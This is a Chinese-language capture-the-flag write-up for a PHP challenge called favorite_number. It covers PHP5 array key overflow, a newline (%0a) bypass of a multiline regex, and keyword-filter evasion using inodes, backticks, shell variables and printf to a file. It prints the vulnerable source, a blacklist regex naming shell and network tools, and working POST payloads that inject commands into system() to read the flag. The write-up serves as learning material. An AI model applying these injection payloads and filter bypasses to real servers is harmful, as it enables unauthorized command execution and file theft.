favorite_number
知识点
php数组key溢出
经试验在php5的版本中,存在php数组key溢出,可以看到在$arr
数组里,没有定义$arr[0]='admin'
,定义的[4294967296]='admin'
,但是$arr===$array
却是返回的true,并且$arr[0]!='admin'
,返回true,别问,问就是我也不知道为什么。。参考https://two.github.io/2015/09/15/PHP-array-hash-key-overflow/,
![](../image/113.png
)
%0a绕过正则
preg_match 函数用于进行正则表达式匹配,返回 pattern 的匹配次数,它的值将是 0 次(不匹配)或 1 次,因为 preg_match() 在第一次匹配后将会停止搜索。
%0a 经过url编码后表示换行符,相当于分号(;)的作用
使用inode绕过关键字
inode
Unix/Linux系统内部不使用文件名,而使用inode号码来识别文件。对于系统来说,文件名只是inode号码便于识别的别称或者绰号。目录文件的结构非常简单,就是一系列目录项(dirent)的列表。每个目录项,由两部分组成:所包含文件的文件名,以及该文件名对应的inode号码。可以通过ls -i
列出文件名和inode号码
反引号``
反引号``是命令替换,命令替换是指Shell可以先执行``中的命令,将输出结果暂时保存,在适当的地方输出。语法:`command`
设置环境变量绕过关键字限制
将命令写入文件后执行绕过关键字限制
本来也可以用echo,但是echo被禁用了
可以看到,使用printf将字符串写进文件时可以打引号也可以不打引号,>表示重写文件,>>表示在原有的基础上继续写文件。
思路
进去题目,审计源码
<?php
//php5.5.9
$stuff = $_POST["stuff"];
$array = ['admin', 'user'];
if($stuff === $array && $stuff[0] != 'admin') {
$num= $_POST["num"];
if (preg_match("/^\d+$/im",$num)){
if (!preg_match("/sh|wget|nc|python|php|perl|\?|flag|}|cat|echo|\*|\^|\]|\\\\|'|\"|\|/i",$num)){
echo "my favorite num is:";
system("echo ".$num);
}else{
echo 'Bonjour!';
}
}
} else {
highlight_file(__FILE__);
}
第一关:
传进去的数组要求等于$array
数组,还是个强等于,并且要求第一个元素又不是admin,这怎么可能,好吧,是我孤陋寡闻了,看了wp才知道key溢出,原理我也不晓得。。
构造payload
[POST:DATA]stuff[4294967296] =admin&stuff[1]=user&num=1
回显成功:my favorite num is:1
说明绕过成功
第二关:
正则要求$num
只能是数字,但是后面有个/m,我们就可以用%0a进行绕过
构造payload
[POST:DATA]stuff[4294967296] =admin&stuff[1]=user&num=1%0als
stuff[4294967296] =admin&stuff[1]=user&num=1%0als \
执行成功
第三关:
我们要读取flag文件,但是flag被过滤了,cat也被过滤了,但是没关系,我们还有如下命令可以用
但是我们还要绕过flag的书写,这就要用到上面的知识点了
payload1:stuff[4294967296] =admin&stuff[1]=user&num=1%0als -i /;tac `find / -inum 30415147 `;
payload2:stuff[4294967296] =admin&stuff[1]=user&num=1%0aprintf /fla>/tmp/1.txt;printf g>>/tmp/1.txt;tac `tac /tmp/1.txt`; //注意因为过滤了"",所以写字符串的时候没有加引号
payload3:stuff[4294967296] =admin&stuff[1]=user&num=1%0a a=/fl;b=ag;tac $a$b;
错误姿势
一开始我想着闭合system函数
就构造了个?num=11) and system('ls');
然后发现不行
后来又构造了个?num=11) & system('ls');
还是不行
之前所做的题目前面有个assert()函数,将里面的字符串当做了Php执行,所以存在闭合,而这里没有assert()之类的函数,所以闭合不行。并且&在url中具有特殊含义
这样闭合没有出system的范围,所以有用。
特别注意,eval函数里面要执行的字符串,要想执行成功,必须以分号(;)结尾。
参考博客:ctf中的php漏洞利用总结